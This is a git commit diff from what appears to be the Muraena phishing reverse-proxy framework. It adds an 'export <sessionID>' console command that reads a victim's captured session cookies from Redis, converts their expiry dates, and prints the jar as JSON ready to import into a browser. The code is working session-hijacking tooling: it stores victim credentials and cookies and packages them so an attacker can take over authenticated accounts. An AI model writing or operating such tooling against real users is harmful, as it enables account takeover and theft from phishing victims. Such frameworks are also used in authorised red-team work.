Added export <sessionID> to export a full session cookieJar as JSON (ready for browser manual import)

This commit is contained in:
antisnatchor 2021-02-15 09:47:40 +01:00
parent 0341e42349
commit 23d595e6bd
4 changed files with 74 additions and 10 deletions

View file

@ -35,14 +35,16 @@ type VictimCredential struct {
// KEY scheme:
// victim:<ID>:cookiejar:<COOKIE_NAME>
type VictimCookie struct {
Name string `redis:"name"`
Value string `redis:"value"`
Domain string `redis:"domain"`
Expires string `redis:"expires"`
Path string `redis:"path"`
HTTPOnly bool `redis:"httpOnly"`
Secure bool `redis:"secure"`
Session bool `redis:"session"` // is the cookie a session cookie?
Name string `redis:"name" json:"name"`
Value string `redis:"value" json:"value"`
Domain string `redis:"domain" json:"domain"`
Expires string `redis:"expires" json:"expirationDate"`
Path string `redis:"path" json:"path"`
HTTPOnly bool `redis:"httpOnly" json:"httpOnly"`
Secure bool `redis:"secure" json:"secure"`
SameSite string `redis:"sameSite" json:"sameSite"`
Session bool `redis:"session" json:"session"` // is the cookie a session cookie?
}
func StoreVictim(id string, victim *Victim) error {

View file

@ -71,6 +71,15 @@ func (module *Tracker) Prompt(what string) {
case "credentials":
module.ShowCredentials()
}
// export cookie jar as JSON file, like: export ygTCC
if strings.HasPrefix(what, "export ") {
id := strings.Split(what, " ")
if len(id) != 2 {
return
}
module.ExportSession(id[1])
}
}
// IsEnabled returns a boolead to indicate if the module is enabled or not

View file

@ -1,8 +1,11 @@
package tracking
import (
"encoding/json"
"fmt"
"github.com/muraenateam/muraena/module/necrobrowser"
"os"
"time"
"github.com/evilsocket/islazy/tui"
@ -67,6 +70,50 @@ func (module *Tracker) ShowCredentials() {
}
// ShowVictims prints the list of victims
func (module *Tracker) ExportSession(id string) {
const timeLayout = "2006-01-02 15:04:05 -0700 MST"
rawCookies, err := db.GetVictimCookiejar(id)
if err != nil {
module.Debug("error fetching victim %d cookie jar: %s", id, err)
}
// this extra loop and struct is needed since browsers expect the expiration time in unix time, so also different type
var cookieJar []necrobrowser.SessionCookie
for _, c := range rawCookies {
log.Debug("trying to parse %s with layout %s", c.Expires, timeLayout)
t, err := time.Parse(timeLayout, c.Expires)
if err != nil {
log.Warning("warning: cant's parse Expires field (%s) of cookie %s. skipping cookie", c.Expires, c.Name)
continue
}
nc := necrobrowser.SessionCookie{
Name: c.Name,
Value: c.Value,
Domain: c.Domain,
Expires: t.Unix(),
Path: c.Path,
HTTPOnly: c.HTTPOnly,
Secure: c.Secure,
Session: t.Unix() < 1,
}
cookieJar = append(cookieJar, nc)
}
cookieJarJson, err := json.Marshal(cookieJar)
if err != nil {
module.Warning("Error marshalling the cookieJar: %s", err)
return
}
log.Info("Victim %s CookieJar:\n\n%s", id, cookieJarJson)
}
// ShowVictims prints the list of victims
func (module *Tracker) ShowVictims() {

View file

@ -50,6 +50,10 @@ func Prompt(s *Session) {
s.showTracking(result)
}
if strings.HasPrefix(result, "export ") {
s.showTracking(result)
}
}
}
@ -63,18 +67,20 @@ func validate(input string) error {
return nil
}
if strings.HasPrefix(input, "export ") {
return nil
}
return errors.New(InvalidCommand)
}
func help() {
log.Raw("**************************************************************************")
log.Raw("* NOTE: This feature is not fully implemented yet. ")
log.Raw("* Follow evolutions on https://github.com/muraenateam/muraena/issues/5")
log.Raw("* Options")
log.Raw("* - help: %s", tui.Bold("Prints this help"))
log.Raw("* - exit: %s", tui.Bold("Exit from "+core.Name))
log.Raw("* - victims: %s", tui.Bold("Show active victims"))
log.Raw("* - credentials: %s", tui.Bold("Show collected credentials"))
log.Raw("* - export <sessionID>: %s", tui.Bold("Export a session as JSON"))
log.Raw("**************************************************************************")
}